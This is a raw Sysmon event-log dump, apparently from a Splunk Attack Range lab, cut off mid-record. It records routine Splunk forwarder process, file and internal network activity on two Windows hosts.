14:48:31.730{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014553Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:31.730{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014552Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:31.730{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014551Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:31.730{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014550Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:31.730{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014549Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:31.730{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014548Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:31.730{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-703F-613B-B004-00000000F101}3952C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014547Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:31.730{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-703F-613B-B004-00000000F101}3952C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014546Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:31.730{625C326B-703F-613B-B004-00000000F101}3952C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014545Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:31.636{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=74B4A367223963727C5902BB612883FF,SHA256=72680FBBF432616AD4B151AC62890B867E46A640D4C15D990E469D6230761F00,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:31.982{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=B4D33D01A92ACD56AAEC341DEDE9831D,SHA256=8AC9E606E553E3FD4D6A504F5502809EFD31782FE9D6278C309761E4DA95291D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:28.886{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59347-false10.0.1.12-8089- 23542300x800000000000000046833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:31.357{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=370B2E875049B975CD9A0DEBD2119985,SHA256=9262DF03C7F56B455352DA7AD02E7F65462B2C6CACF7A56BE3CB89E9B53766D5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014544Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:28.380{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50168-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014588Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.980{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CFE4C02C02E75ADA5E43FBA5252E0631,SHA256=0A12B7128B636082C55910FCDBEFC751EA9BE6B0049FBABC807B60E6C3B7AEE8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014587Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.964{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F28BF0D488D914B990F2F8AF78D226F0,SHA256=A877235CF98C8F5AD317056292EDB800B5D9AE66C1D0BAA412B0DE2A2B8B6A15,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014586Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.964{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3F5564D82B384C438028EBCE1410646F,SHA256=E1220A47F70ADF8BCB37F7C1A63326C6BC02B7F205D22A94581042FD8FF05808,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014585Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.901{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7040-613B-B204-00000000F101}3308C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014584Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.901{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014583Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.901{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014582Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.901{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014581Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.901{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014580Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.901{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014579Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.901{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014578Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.901{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014577Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.901{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014576Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.901{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014575Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.901{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7040-613B-B204-00000000F101}3308C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014574Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.901{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7040-613B-B204-00000000F101}3308C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014573Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.902{625C326B-7040-613B-B204-00000000F101}3308C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:32.420{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A954F9101B9C736AD092CA0E4B2BE94C,SHA256=6FEB905784023BE1B58C3B960C583B608E9EFA7E787FE02AFC4AE2B774A292E1,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014572Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.401{625C326B-7040-613B-B104-00000000F101}19961092C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program 